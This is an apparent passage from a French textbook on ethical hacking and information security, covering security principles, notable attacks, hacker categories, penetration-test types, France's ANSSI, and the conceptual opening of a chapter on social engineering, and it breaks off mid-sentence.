Dans cette équation, l’entreprise est directement responsable de la vulnérabilité de son système et
des moyens de sécurisation.

Dans un contexte global, la sécurité s’effectue :

 au niveau utilisateur : les acteurs doivent comprendre l’importance de leur position ;

 au niveau des technologies utilisées ;

 au niveau des données en elles-mêmes : droits d’accès (authentification et contrôle,


l’utilisateur ne doit posséder que les droits qui lui sont octroyés) ;

 au niveau physique, de l’accès à l’infrastructure jusqu’au matériel : si on sécurise


entièrement un système et que l’accès à la salle des machines n’est pas sécurisé, il suffit de
voler physiquement le support de données pour compromettre gravement le système.

Cependant, la sécurité ne doit pas être une gêne au quotidien et doit permettre d’utiliser le système
en toute confiance.

La sécurité du système d’information d’une école ou d’une université est également très importante.
Des données personnelles et importantes sont contenues dans son réseau, au sujet des étudiants,
des professeurs, des examens... Une faille dans ce réseau ouvrirait les portes à des fuites de
renseignements et d’informations capitales.

Les universités représentent une cible de choix pour les attaquants puisqu’elles sont une mine
d’informations personnelles. De nombreuses universités en ont fait les frais ; ainsi, en 2020, les
données personnelles des 117 000 étudiants et du personnel de l’université de Toulouse ont été
dérobées. De même, le 1er avril 2020, l’université de Montpellier a été victime d’une attaque de type
« ransomware » qui a paralysé l’ensemble des services informatiques ; et cette liste n’est pas
exhaustive...

c. Pour un pays ou une nation

À l’échelle d’un pays, l’insécurité du système d’information n’est pas envisageable. Les procédures
mises en place doivent être à la hauteur des informations à maintenir sauves, il en va de la sécurité
de toute la nation.

Restrict
ed
Une brèche dans le système pourrait porter atteinte aux intérêts fondamentaux de chacun, mettre à
mal la confiance publique d’un État ou encore le rendre victime d’un acte de terrorisme.

L’actualité nous montre la faiblesse de nos systèmes comme dans le cas de l’attaque de TV5 Monde
ou encore le ransomware WannaCry qui a paralysé plusieurs dizaines d’entreprises en mai 2017,
entraînant des pertes financières importantes. Imaginez si celui-ci avait touché des organismes
d’importance vitale comme l’énergie, les communications, les transports...

Tous les systèmes étant connectés entre eux et au-delà des frontières, une coopération européenne
est pourtant de mise.

Trahison, espionnage, sabotage, attentat, complot, usurpation, atteintes à la sécurité et au secret de


la défense nationale, actes terroristes... Tant de risques qui impactent directement la sécurité
nationale.

Le cyberterrorisme est un problème grave car il dépasse le cadre du réseau internet. C’est comme
cela que des vies ont été menacées par la prise de contrôle d’ordinateurs en mission scientifique, ou
la diffusion de virus informatiques dans des centrales nucléaires.

De même, les sites gouvernementaux ne sont pas vraiment des exemples en termes de sécurité,
puisqu’ils ont subi des attaques - réussies - à plusieurs reprises. De nombreuses failles ont été
révélées ces dernières années, ainsi que sur les sites du Pentagone et de la Maison-Blanche.

Un exemple récent est l’attaque (hacktiviste) le jeudi 18 février 2021 des sites gouvernementaux
gérés par la junte en Birmanie, en réponse aux coupures d’Internet imposées par les autorités. Ainsi,
les sites de la Banque centrale, la page officielle de l’armée birmane, le site de la chaîne de télévision
publique MRTV, de l’autorité portuaire ainsi que celui de l’agence de sécurité alimentaire et sanitaire
ont subi des attaques (déni de service, défigurations de sites).

Le hacking se veut éthique


1. Le travail en coopération

Pour les entreprises en charge d’informations cruciales, de plus en plus étendues, riches et
complexes, et qui se trouvent confrontées à des individus malintentionnés aux connaissances
étendues, il est devenu évident qu’il fallait un niveau de connaissance et de protection au moins
équivalent pour protéger leur système.

Il s’agit d’une prise de conscience face à l’importance des données que détient une structure
professionnelle. Même si l’entreprise possède un responsable sécurité avec de bonnes
connaissances, il peut être intéressant de faire appel à un spécialiste externe de confiance pour
tester le réseau et le système d’information dans des conditions réelles d’attaque, afin d’en déceler
les forces et les faiblesses à corriger. Dans ce cas, le spécialiste pourra travailler en collaboration avec
le RSSI.

Ces spécialistes sont des hackers professionnels, qui sont accrédités pour réaliser des tests
d’intrusion en prenant connaissance de l’état d’une architecture à un instant T. En tant que
spécialistes de la sécurité informatique, ils connaissent en effet les moyens de déjouer la sécurité
d’un système, de la mettre à l’épreuve.

Restrict
ed
Un professionnel de confiance va pouvoir se mettre dans la peau d’un utilisateur malintentionné (aux
connaissances étendues), en testant le système dans des conditions de malveillance, et s’assurer que
les données sont en sécurité. S’il existe des failles ou des défauts de configuration, alors il aidera à
comprendre lesquels et à corriger le problème.

Derrière ces spécialistes se cachent en réalité des hackers white hats, des consultants en sécurité.
Ces hackers ont un sens de l’éthique et de la déontologie, contrairement aux crackers, qui
démolissent les systèmes. Les tests d’intrusion se font en accord avec les clients et la législation.

C’est une véritable prise de conscience envers ces hackers, que l’on a appris à différencier des
terroristes, des espions ou des créateurs de virus...

2. Un esprit bidouilleur et passionné avant tout

Quand on parle de sécurité informatique, on ne peut pas ignorer le monde underground, ces
communautés de hackers où le partage du savoir est la clé.

Le hacker se définit comme un bidouilleur curieux, et son moteur de réussite reste sa passion, qu’il
partage avec les autres membres de la communauté. Les hackers sont généralement autodidactes
depuis de nombreuses années, ils ont accumulé des connaissances techniques élevées, et sont
généralement spécialisés dans un domaine (les failles physiques, le Web, le réseau, etc.).

Passionnés et curieux, ils ne se posent pas de limite pour la connaissance ou pour assouvir leur
curiosité. Les hackers sont capables de détourner un objet ou un logiciel de son fonctionnement
originel.

Mais la communauté des hackers va également au-delà de la connaissance technique. Être un hacker
correspond davantage à un état d’esprit qu’au fait de programmer.

Aussi, les hackers sont généralement des personnes cultivées qui connaissent à la fois l’historique de
leur statut et les grands acteurs du mouvement, qui se tiennent informés de tout ce qui s’apparente
à leur domaine et qui ont soif de connaissance.

Les hackers utilisent leur savoir pour découvrir les choses auxquelles ils ne sont pas censés avoir
accès.

3. Le hacker devient un expert recherché

Bien sûr, la définition des hackers selon laquelle il y aurait d’un côté les gentils et de l’autre les
méchants est un peu trop facile et manichéenne, elle est d’ailleurs constamment sujette à des
discordances et des remises en question.

Mais ce qui singularise également les hackers, c’est ce rapport alternatif au travail, et également à
l’argent, au temps, qui se réfère à une éthique complètement différente du rapport capitaliste
habituel que l’on retrouve en société. Le hacker étant un passionné avant tout, il sera capable de
passer des jours et des nuits sur un problème pour le voir résolu, n’hésitant pas à travailler en
coopération. Sa relation au travail mêle plaisir, envie de repousser les limites, découverte, curiosité,
et jeu... Elle fait appel à des instincts qui décuplent les compétences.

Dans ce sens, on peut se référer à de nombreux exemples pour montrer l’efficacité des hackers en
coopération, comme le système d’exploitation Linux pour ne citer que lui, emblème de la production
des hackers du libre. Linux a été développé de manière indépendante, volontaire, dans un contexte
en marge du système capitaliste, et possède aujourd’hui une assise confortable dans le pourcentage
d’utilisation en tant que serveur, et son évolution au sein des foyers ne cesse de croître.

Restrict
ed
Cette originalité dans l’éthique du travail était jusqu’alors fortement controversée, par rapport aux
tenants de l’approche économique standard. Cependant, force est de constater que cette auto-
organisation, dont la structure s’apparente pleinement à un réseau fortement horizontal, est source
de réussite. Le travail du hacker se fait de manière directement coopérative et volontaire, en
participant à différents petits groupes très autonomes.

Il devient alors un spécialiste expert dans son domaine, très recherché, ayant accumulé plus de
connaissances et d’expérience dans la sécurité que tout autre profil, et devenant de ce fait l’allié de
nombre d’entreprises qui décident de se prémunir des risques qui les menacent.

4. Dans la peau de l’attaquant

Le but d’un audit de sécurité est de se mettre dans la peau de l’attaquant. Apprendre l’attaque pour
mieux se défendre, voilà ce qu’il faut garder en tête pour assurer sa sécurité.

Pour comprendre l’attaquant et apprendre sa façon de faire, il faut tout d’abord réussir à prendre un
certain recul sur son système. Le but est de le tester en conditions réelles pour en déceler les forces
et les faiblesses.

L’équipe est-elle fiable ? Les mots de passe sont-ils robustes ? Ne sont-ils pas accessibles à tout un
chacun ? Les serveurs sont-ils sécurisés, corrigés en cas de problème ? Les fichiers de journalisation
sont-ils consultés régulièrement ? Des outils détectent-ils une trace suspecte sur les serveurs ?

Que ce soit dans le but de nuire, d’espionner, de voler des informations ou pour toute autre raison,
l’attaquant essaiera de multiplier ses tentatives d’intrusion en recherchant une vulnérabilité, qu’elle
soit physique, logicielle, matérielle, ou humaine.

La sécurité d’un système repose sur cinq grands principes :

 L’intégrité des données : il faut garantir à chaque instant que les données qui circulent sont
bien celles que l’on croit, qu’il n’y a pas eu d’altération (volontaire ou non) au cours de la
communication.

 La confidentialité : seules les personnes habilitées doivent accéder aux données et personne
d’autre. Toute interception ne doit pas être en mesure d’aboutir, les données doivent être
cryptées, seuls les acteurs de la transaction possèdent la clé de compréhension.

 La disponibilité : il faut s’assurer du bon fonctionnement du système, de l’accès à un service


et aux ressources à n’importe quel moment.

 La non-répudiation des données : une transaction ne peut être niée par aucun des
correspondants.

 L’authentification : elle limite l’accès aux personnes autorisées. Il faut s’assurer de l’identité
d’un utilisateur avant l’échange de données.

La sécurité d’un système entier sera celle de son maillon le plus faible. Ainsi, si tout un système est
sécurisé techniquement mais que le facteur humain, souvent mis en cause, est défaillant, c’est toute
la sécurité du système qui est remise en question.

5. Conseils et accompagnement vers la sécurisation

Le spécialiste qui audite le système d’information va réaliser plusieurs opérations. Tout d’abord, il va
faire le tour du réseau et des différents équipements pour déceler les éventuels problèmes. Ce test
peut s’effectuer, nous le verrons, soit en conditions réelles (boîte noire, aucune information n’est

Restrict
ed
connue, aucun accès n’est fourni au hacker), soit en conditions de transparence, où toutes les
informations sont alors fournies au hacker.

De plus, il peut être conseillé de prévenir le moins de monde possible dans l’entreprise lors des
audits de sécurité afin de ne pas fausser le contexte. Rappelons que dans la réalité, la majorité des
intrusions système ont lieu le week-end.

Le hacker vérifiera ainsi que les données ne sont accessibles que par les personnes
accréditées, qu’elles sont en sécurité et disponibles à n’importe quel moment.

Si le hacker décèle un problème dans le système, il se doit d’en avertir le responsable, de proposer
une solution pour y remédier, et d’offrir un accompagnement dans la mise en place d’une procédure
de sécurité.

D’un autre côté, il peut tester l’équipe, pour vérifier que celle-ci ne distribue pas des informations
confidentielles, même sans le savoir. En effet, l’accumulation de grains de sable sur un organisme
peut vite devenir une jolie niche d’informations qui, une fois recoupées, suffiront à réussir l’attaque
du réseau.

Il pourra également aider dans la mise en place de bonnes pratiques, notamment dans la politique de
gestion des mots de passe ou dans la formation de l’équipe en termes de sécurisation du poste
informatique.

Restrict
ed
Connaître son ennemi pour s’en défendre
1. À chaque attaquant son chapeau

a. Les hackers black hats

Les hackers black hats, un peu à l’image des méchants des westerns, désignent généralement dans le
domaine informatique les hackers révoltés contre le système, qui frôlent les limites de la légalité, ou
les dépassent carrément.

Ils pénètrent par effraction dans les systèmes, dans un intérêt qui n’est pas celui des propriétaires du
réseau ou du système, mais plutôt personnel, voire financier.

Parmi ces hackers, il y a les crackers, qui ont une nette attirance pour ce côté obscur. Ils sont par
exemple à l’origine de virus, de chevaux de Troie ou de logiciels espions.

Lorsque cela est fait dans le but de nuire à une organisation ou à des individus, on parle aussi de
terrorisme ou de cyberterrorisme.

Il arrive également que les compétences des hackers black hats intéressent fortement les grandes
entreprises, qui finissent par les débaucher pour travailler en collaboration avec eux.

Cependant, la communauté des black hats est assez large et possède des convictions, des opinions et
des connaissances bien différentes. Le terme de "black hat" ne veut pas dire sans éthique ni morale.
Généralement, les techniques sont les mêmes que celles des white hats, seule la fin peut être
différente.

En dehors du hacking informatique, on parle également de black hats SEO, spécialistes du


référencement de masse. En bombardant des liens, en inscrivant des sites à des milliers d’annuaires
et en manipulant les résultats des moteurs de recherche, ces hackers arrivent à propulser certains
sites de manière spectaculaire en tête de liste...

Le terme "black hat" est aussi un terme employé dans de grands rassemblements mondiaux de
hackers, comme celui de Las Vegas.

b. Les hackers grey hats

Le hacker au chapeau gris est un peu un hybride du chapeau blanc et du chapeau noir.

Il s’agit d’un hacker compétent, qui agit parfois avec l’esprit d’un white hat mais avec une
philosophie de divulgation différente.

Son intention n’est pas forcément mauvaise même s’il commet cependant occasionnellement un
délit.

Par curiosité, il tentera par exemple de s’infiltrer dans un système. Une fois la faille trouvée, il
n’endommagera pas le système, et préviendra généralement le propriétaire. Cependant, ceci reste
illégal dans la plupart des pays car il est interdit de pénétrer dans un réseau privé qui n’est pas le sien
sans l’approbation du propriétaire.

De plus, il préviendra également en même temps la communauté en divulguant la faille.

Beaucoup de hackers qui se disent white hats s’apparentent en réalité plus à des grey hats, dans le
sens où ils divulguent des failles aussitôt qu’elles ont été découvertes, sans prévenir ou laisser le
temps nécessaire au responsable pour corriger le problème, ce qui peut nuire gravement au système
ciblé indirectement.

Restrict
ed
c. Les hackers white hats

Techniquement, l’action menée par les hackers white hats est très semblable à celle des black hats.
Cependant, elle s’en différencie par le but ou la fin.

En effet, les white hackers ont plutôt comme ambition d’aider à la sécurisation du système, sans en
tirer profit de manière illicite. Ils bidouillent les systèmes d’information pour découvrir les
vulnérabilités pas encore connues ou non publiées, les "0 day" (zero day, zéro jour). La technique
employée est la même que celle utilisée par un hacker au chapeau noir.

La différence se fait par contre lors de la découverte de cette vulnérabilité. La question qui se pose
alors est de savoir s’il faut rendre une vulnérabilité publique ou non. Les hackers au chapeau blanc
prônent la divulgation totale de la découverte, ce que l’on appelle en anglais la full disclosure, là où
les hackers au chapeau noir préfèrent restreindre l’accès à cette information et ne pas la divulguer.

Un hacker white hat va donc généralement rendre publiques les vulnérabilités, et parfois même
les exploits, qui sont les bouts de code permettant de tester la vulnérabilité d’un système à cette
faille. Cela se fait sur des outils en ligne spécialisés comme des listes de diffusion ou des outils de
gestion de bug (bugtracking).

Le problème qui en résulte est que ces codes sont rendus publics et disponibles pour quiconque, y
compris les script kiddies, que nous verrons ensuite.

Cependant, un white hat met également au courant les auteurs des vulnérabilités qui les touchent
(dans le cas où ils n’ont pas été embauchés pour une mission d’audit qui explique leurs actions).

Même si les white hats disent agir dans la légalité et pour la bonne cause, en réalité, depuis que la loi
sur l’économie numérique (la LCEN) a été votée en France, seule l’intention reste réellement bonne.
Ces hackers sont considérés hors la loi de la même manière que les black hats, puisque le fait de
divulguer des vulnérabilités et des exploits sur Internet est devenu répréhensible. Cette loi contredit
ainsi de plein fouet l’éthique hacker et le principe du logiciel libre.

d. Les script kiddies

Dans le problème lié à la publication des vulnérabilités découvertes sur Internet, on trouve l’un des
éléments clés de la discorde, les script kiddies.

Ces individus récupèrent les exploits laissés par les white hats sur les outils publics et les exécutent
sur des machines, sans aucune connaissance, dans le but de provoquer des pannes volontaires,
des mass-root.

Le darknet leur permet, moyennant quelques euros, de trouver des malwares prêts à l’emploi et
pour lesquels il est même parfois proposé un service après-vente !

Généralement, un script kiddie est un adolescent pénétrant par effraction dans un système après
avoir relevé dans des livres ou sur Internet (darknet) quelques documentations de base sur le sujet
de la sécurité informatique. Le script kiddie n’a aucune notion de l’éthique d’un hacker, il réalise cela
par vantardise auprès de ses amis, il n’est pas rare par exemple qu’il cherche à savoir comment
pirater un compte de messagerie instantanée.

Le script kiddie n’a pas de réelles connaissances, il ne fait que réutiliser des codes ou des
programmes prêts à l’emploi, il brasse et réutilise sans comprendre les enjeux ou les risques.

Restrict
ed
Cependant, les script kiddies sont craints puisque, malgré leur faible niveau, le fait qu’ils utilisent le
code des autres représente parfois une menace réelle pour un système, surtout qu’ils sont nombreux
et peu soucieux des dégâts qu’ils occasionnent. Ils sont cependant trop souvent confondus avec les
vrais hackers.

Ils sont d’ailleurs complètement rejetés des communautés underground, où ils sont pris pour
des lammers, c’est-à-dire des personnes dénuées de compétences.

e. Les hackers universitaires

Ce sont des hackers libres, que l’on associe au mouvement open source du logiciel libre, comme
Richard Matthew Stallman, le fondateur du projet GNU. Ce terme est apparu au MIT, le
Massachusetts Institute of Technology.

Le hacker est alors défini comme quelqu’un qui partage sa connaissance avec autrui, sur le
fonctionnement d’un système, des ordinateurs et des réseaux. Ces hackers prônent l’idée selon
laquelle l’information est libre et n’appartient à personne. Ainsi toute nouvelle connaissance doit
être partagée avec tout le monde.

Ces hackers forment une grande communauté qui partage la même culture et qui compte des
programmeurs aux compétences aiguisées, des spécialistes des réseaux et des technologies. Les
hackers travaillent ensemble et ainsi sont à l’origine de grandes œuvres, comme Internet, ou encore
Usenet, ou le système d’exploitation Unix.

En 1984, Steven Levy a défini l’éthique hacker selon les principes suivants :

 Toute information est, par nature, libre et gratuite.

 L’accès aux ordinateurs devrait être total, illimité, possible pour tout le monde.

 La décentralisation des données doit être encouragée.

 Les hackers devraient être jugés sur le hacking, non pas sur des hiérarchies sociales telles que
le diplôme, l’âge ou le grade.

 On peut créer de l’art et de la beauté avec un ordinateur.

 Les ordinateurs peuvent améliorer la vie.

2. Et à chaque audit sa boîte à secrets

Lors d’un test d’intrusion où une entreprise fait appel à un spécialiste pour auditer son système, il y a
plusieurs façons de procéder. Soit l’auditeur n’a accès à aucune information, soit on lui fournit
quelques informations, soit il a en sa possession toutes les informations qu’il souhaite. Ces tests sont
plus ou moins longs, plus ou moins complets et plus ou moins onéreux. L’idéal étant bien sûr de
réaliser ces trois types de tests en complémentarité afin de réaliser un audit complet.

a. Les tests en black box

La méthode la plus réaliste, car c’est celle qui correspond à une situation réelle, est le test en black
box, un test en boîte noire. Dans ce cas, le hacker qui vient auditer le système n’a aucune
information. Il va agir comme le ferait un attaquant, en testant tour à tour les différentes portes à la
recherche d’une vulnérabilité à exploiter.

Restrict
ed
Il peut être dirigé vers quelques vulnérabilités probables à tester de manière plus approfondie, mais
ne sera pas plus informé qu’un hacker externe.

Ces tests "à l’aveugle" ont pour principaux avantages d’être réalistes, moins onéreux, et plus rapides.
Cependant, ils sont également moins exhaustifs et ne testent pas la qualité de la configuration du
système (les services sont-ils optimisés ? À jour ? Limités ?). En effet, un système peut être non
optimisé sans être vulnérable à un instant T ; une mauvaise configuration peut cependant conduire à
des problèmes ultérieurs.

Le test en boîte noire peut être exécuté depuis l’extérieur ou depuis l’intérieur, c’est-à-dire dans les
locaux. Généralement, la sécurité n’est dans ce cas pas la même, les droits et autorisations sont
moins restreints mais peuvent constituer des portes d’entrée supplémentaires. Le système pourrait
donc être étanche à l’extérieur mais vulnérable de l’intérieur : un visiteur malveillant dans vos locaux
pourrait s’introduire dans votre système avec quelques ficelles bien connues de social engineering.

b. Les tests en grey box

Lors d’un audit en grey box, le consultant ne possède qu’une quantité limitée d’informations. Cela va
ouvrir d’autres portes sans pour autant donner toutes les informations. Cet audit permettra d’aller
un peu plus loin dans le test, de parcourir d’autres domaines...

Par exemple, lors de l’audit d’un site interne ou d’un intranet, le test en black box serait un accès au
site sans aucune information, comme lors d’une attaque en situation réelle. L’auditeur devrait
d’abord trouver un couple identifiant/mot de passe pour pouvoir s’infiltrer dans le système. En grey
box, on peut lui fournir ce couple d’identifiants, voire lui donner l’identifiant de l’administrateur, afin
qu’il puisse aller encore plus loin.

c. Les tests en white box

Le test en white box (en boîte blanche) sera le plus long, le plus approfondi, mais également le plus
onéreux. En effet, ici l’accès au système sera complètement ouvert au spécialiste venu faire l’audit.
De ce fait, il est de son devoir de tester chaque service, de vérifier sa configuration, ses vulnérabilités
éventuelles, et de faire un tour complet pour en assurer l’étanchéité.

Le but ici est donc d’évaluer les risques en toute connaissance du système, et également de vérifier
qu’il sera apte à redémarrer sans perte d’informations si une attaque a tout de même lieu, en
vérifiant par exemple le système de sauvegarde de données.

Dans le cadre d’un site internet, il aura accès au code source et devra vérifier que celui-ci ne présente
pas de risques pour le système.

Conclusion
Les métiers de la sécurité des systèmes d’information sont nombreux, variés et passionnants. Ils sont
de plus plébiscités aujourd’hui par les entreprises et institutions diverses.

On estime que 3,5 millions de postes d’experts cyber devraient rester vacants en 2021, la formation
d’experts en sécurité informatique est une véritable nécessité et la France n’y échappe pas.

Les universités françaises ont pris conscience de ce besoin et ont commencé à développer des
formations en cyber. Les précurseurs ont été les acteurs de la licence professionnelle CDAISI mise en
place à l’IUT de Valenciennes sur l’antenne de Maubeuge en 2008.

L’État français n’est pas en reste et a mis en place dès juillet 2009 l’ANSSI ( https://www.ssi.gouv.fr/),
qui est l’Agence nationale de la sécurité des systèmes d’information.

Restrict
ed
C’est un service d’État directement rattaché au Secrétariat général de la Défense et de la Sécurité
nationale (SGDSN).

L’ANSSI est chargée d’accompagner et de sécuriser le développement du numérique, elle est en


France, l’acteur majeur de la cybersécurité.

Elle a mis en place un label SecNumedu pour les organismes de formation dont les programmes
doivent répondre à certains critères.

Actuellement, environ 65 formations d’État et privées y sont labellisées.

https://www.ssi.gouv.fr/particulier/formations/secnumedu/formations-labellisees-secnumedu/

Restrict
ed
Eléments d’ingénierie sociale
Généralités
1. Introduction

Dans son sens le plus large, l’ingénierie sociale est l’art et la manière d’influencer les êtres humains,
individuellement ou en groupe. Le sens restreint dans lequel nous l’utiliserons ici, c’est-à-dire
appliqué à la sécurité des systèmes d’information, est d’usage récent. Cette traduction très littérale
de "social engineering" est venue s’accoler à d’autres utilisations du mot, notamment en
psychologie, en science politique ou en sciences sociales.

Il aurait aussi été possible d’utiliser le mot "génie" pour traduire "engineering" et donc d’appeler ce
chapitre "Éléments de génie social". Ne parle-t-on pas toujours de génie militaire, civil, logiciel ou
électrique ?

Pour autant, l’expression "génie social" n’aurait sans doute pas été plus heureuse. Effectivement, si
le génie est bien l’art de l’ingénieur, sa seconde acception de don intellectuel exceptionnel lui donne
malheureusement des connotations inappropriées dans le cadre de ce chapitre.

En effet, pour des raisons qui devraient vite paraître claires, les ingénieurs sociaux ont tout intérêt à
laisser croire que leur "art" repose uniquement sur le talent, le charisme, ou toutes sortes de dons
innés. Cela peut permettre, entre autres, de rendre les parades plus difficiles, de limiter la
concurrence ou se donner une image de génie.

Or, il est essentiel d’éviter tout malentendu sur ce point : l’ingénierie sociale, comme la plupart des
compétences humaines, peut se comprendre, se modéliser, s’apprendre.

Le génie de l’ingénieur social n’est donc pas uniquement une aptitude naturelle. C’est avant tout un
corpus de modèles, de techniques et d’outils, basés sur des études rigoureuses, des données
scientifiques et des théories valides.

Quoi qu’il en soit, le contenu de la matière reste encore assez ambigu pour les non avertis. Par
ailleurs, la déplorable habitude du siècle à l’usage approximatif du vocabulaire, alliée à la tendance à
considérer tout problème de SI (système d’information) sous l’angle des outils logiciels, a fortement
contribué à rendre le terme encore plus flou, improprement utilisé, et facilement sujet à la
mystification quant à son véritable contenu.

De ce fait, il n’existe pas actuellement de référence reconnue sur le sujet, ni même de définition
claire du périmètre exact de l’ingénierie sociale. Ce qu’un cours d’ingénierie sociale doit contenir est
encore largement laissé à la liberté de son rédacteur, souvent en fonction de ses propres croyances,
intérêts, expériences et compétences.

Il semble donc nécessaire de préciser les choix qui ont été faits ici, ce que vous trouverez et ce que
vous ne trouverez pas dans ce chapitre.

Il ne nous semble pas nécessaire par exemple de multiplier les descriptions de cas déjà connus
d’exploitation par ingénierie sociale inscrits dans un contexte technique. Ce qui se passe
techniquement une fois que l’on a obtenu le comportement désiré (clic sur un lien, fuite
d’information, infection d’un système...) par la cible humaine n’est plus, dans l’absolu, du domaine
de l’ingénierie sociale.

Restrict
ed
L’objet de ce chapitre sera essentiellement d’aborder les principes, les fondements, les modes
opératoires et les techniques communes aux attaques sur les cibles humaines, ainsi que les bases des
défenses individuelles et collectives contre l’ingénierie sociale.

Pour cela, il apparaît utile, dans un premier temps, de donner des définitions et de préciser certaines
notions théoriques et pratiques, afin de disposer d’un vocabulaire univoque et de bases communes
pour parler des aspects humains de la sécurité des systèmes d’information.

Ces connaissances sont essentiellement issues de l’état de l’art en matière de psychologie sociale.
Elles sont donc indépendantes des vecteurs techniques et par conséquent ont l’avantage d’être
beaucoup plus durables. De plus, leur périmètre d’emploi dépasse largement la sécurité des
systèmes d’information et il sera facile de leur trouver de nombreuses applications dans la vie de
tous les jours.

Enfin, rappelons que nous nous plaçons souvent dans la position d’attaquant dans le cadre
d’intrusions, sans systématiquement renouveler les mises en garde concernant les aspects éthiques,
moraux ou légaux des actions menées. Les méthodes et techniques présentées ici le sont dans un but
essentiellement pédagogique. Il est en effet bien évidemment essentiel pour qui veut défendre un
système de connaître parfaitement les modes d’action de l’ennemi. Nous le verrons, les
compétences de l’ingénieur social concernent donc autant l’attaque que la défense.

2. Systèmes d’information

a. Précisions sur les systèmes d’information

Pour aborder l’ingénierie sociale, il nous semble tout d’abord nécessaire de préciser clairement la
notion de système d’information et de la différencier explicitement de la notion de système
informatique.

Un système d’information peut être défini comme un ensemble de moyens physiques,


organisationnels, humains et technologiques mis en œuvre afin d’acquérir, de stocker, de traiter, de
protéger, de transmettre, de diffuser des informations à caractère stratégique, opérationnel ou
fonctionnel pour une organisation.

De nos jours, la quasi-totalité de ces informations transite dans des systèmes complexes et de grande
taille, largement outillés par des systèmes informatiques. Ayant la malchance de partager le même
acronyme "SI", systèmes d’information et systèmes informatiques ont toujours la fâcheuse tendance
à être utilisés comme synonymes.

Il est essentiel ici de rappeler une fois de plus le danger de cette approche.

Contrairement au système informatique, le système d’information peut se superposer, de manière


isomorphique, à l’ensemble des processus documentés de traitement de l’information d’une
organisation. Autrement dit, toute organisation composée d’éléments capables de stocker et de
traiter de l’information crée nativement, de fait, un système d’information. Ainsi, depuis l’invention
de l’écriture, les scribes, les commerçants, les armées, les églises, les administrations, ou encore les
États mettent en œuvre des systèmes d’information plus ou moins complexes, plus ou moins
techniques, plus ou moins organisés. La complexité, la technicité et la maturité de ces systèmes
varient avec le temps, souvent en fonction des moyens technologiques disponibles, mais leur nature
reste identique sur le fond. Un système d’information est donc bien plus qu’un système
informatique. L’oublier, c’est prendre le risque d’offrir à des attaquants potentiels d’importantes
failles structurelles, organisationnelles et humaines.

Restrict
ed
Vu sous cet angle panoramique, on imagine à quel point il est difficile d’appréhender les systèmes
d’information modernes dans leur globalité, d’en contrôler l’ensemble des entrées et sorties, de
sécuriser les interstices entre sous-systèmes, et de délimiter les périmètres de responsabilités.

Or, les données traitées par un SI sont par définition celles ayant une importance
significative (stratégique, opérationnelle, fonctionnelle). Il n’est donc pas nécessaire de rappeler leur
éventuelle valeur, voire même parfois leur aspect vital pour l’organisation. Toutefois, il sera bon de
garder en permanence à l’esprit qu’un grand nombre d’informations a priori non significatives
gravitant autour du SI pourront souvent donner des indications sur l’état d’un système, et donc
fournir des moyens d’action et des "effets levier" chers à l’ingénieur social.

b. Failles d’un système d’information

Même s’il n’existe pas encore de vocabulaire universellement accepté en la matière, nous classerons
ici, de manière macroscopique, les failles d’un système d’information en quatre grands types :

 Les failles techniques ou informatiques, largement déclinées dans les autres chapitres de cet
ouvrage.

 Les failles que nous appellerons structurelles (pour ne pas faire la confusion avec les failles
physiques informatiques), qui sont des failles de sécurité classiques procurant des accès
physiques aux locaux ou aux supports contenant l’information.

 Les failles humaines ou psychologiques.

 Les failles organisationnelles ou de management.

Pour l’ingénierie sociale, ce sera donc le système d’information dans son ensemble qui sera la cible à
attaquer ou à protéger en accordant une attention plus particulière aux aspects non techniques.

Bien sûr, l’expérience montre que les attaques se limitent rarement à un seul type de failles.
L’ingénieur social devra donc posséder un minimum de connaissances dans chaque domaine de
vulnérabilités des SI. En effet, c’est souvent une exploitation combinée de différents types de failles
qui s’avérera la plus efficace.

3. Présentation de l’ingénierie sociale

a. Définitions

Concrètement, et pour clarifier les choses, nous définirons l’ingénierie sociale comme une
méthodologie d’investigation, d’influence et d’actions clandestines ayant pour objectif de
compromettre un système d’information en exploitant principalement ses failles humaines. L’attaque
par ingénierie sociale consiste donc essentiellement à provoquer chez une cible un comportement
précis et prévu comme, par exemple, donner une information, effectuer une opération sensible dans
le SI ou suivre un lien hypertexte.

Or, nous l’avons vu, le mot "ingénierie" n’est pas neutre. L’art de l’ingénieur consiste, en s’appuyant
sur des méthodes et des théories scientifiques, à utiliser des modèles prédictifs ainsi que des
techniques et des outils éprouvés afin d’obtenir des résultats concrets et mesurables dans le monde
réel, tout en prenant en compte l’ensemble des contraintes et des facteurs significatifs.

C’est sans doute en cela que l’ingénierie sociale se distingue des simples compétences sociales
(social skills). Et même s’il en partage de nombreuses caractéristiques, l’ingénieur social est plus
qu’un simple arnaqueur (con artist).

Restrict
ed
Ce sont les aspects à la fois rigoureux et pragmatiques des méthodologies de l’ingénierie qui
permettent de faire cette distinction.

Mais contrairement à l’ingénierie "classique", le cadre d’étude et de travail de l’ingénierie sociale ne


sera pas les sciences dites exactes, mais les sciences humaines, et en particulier celles traitant des
comportements humains en situations sociales. Ce cadre est donc fondamentalement identique à
celui de la psychologie sociale sur laquelle l’ingénieur social s’appuie largement pour construire et
valider ses modèles prédictifs.

Ses contraintes seront du même ordre que celles de l’ingénieur, avec toutefois des délais souvent
plus courts et des ressources plus faibles.

En revanche, il semble clair que les ingénieurs sociaux se sentent rarement contraints par des aspects
moraux, éthiques ou légaux de leurs actions. Toutefois, il reste toujours indispensable de les
analyser, au minimum, en termes de risques et de retour sur investissement.

b. Caractéristiques et périmètre

Comme dans le cadre d’un piratage technique, l’ingénierie sociale a pour objectif d’obtenir des
avantages matériels, économiques, opérationnels, concurrentiels ou stratégiques, par l’acquisition au
travers de moyens adaptés d’informations de valeur, de biens immatériels, de renseignements
secrets et de ressources privatives ou protégées.

En cela, elle possède de nombreux points communs avec d’autres activités telles que l’investigation
journalistique, l’intelligence économique, le renseignement militaire ou l’espionnage industriel.

Posons-nous alors la question de ce qui caractérise l’ingénierie sociale.

Vision non focalisée sur le SI à attaquer

Une des principales caractéristiques de la méthode par rapport au hacking plus technique est qu’elle
a plus tendance à considérer le système d’information dans son ensemble et dans son
environnement. Toutes les entrées/sorties du système, tous les interstices entre les sous-systèmes,
toutes les failles organisationnelles seront systématiquement explorés par l’ingénieur social.

Nous le verrons, souvent le maillon faible se trouve au niveau des entrées/sorties humaines, ce qui
en fait des cibles privilégiées. Toutes les informations environnantes (post-it, poubelle, réseaux
sociaux...) autour du système, notamment celles concernant les facteurs organisationnels et humains
font donc aussi partie du périmètre d’étude de l’ingénieur social.

L’ingénieur social va donc s’intéresser particulièrement aux interfaces humaines, parmi lesquelles on
peut citer le téléphone, les e-mails, les courriers, les visites commerciales, les entretiens d’embauche,
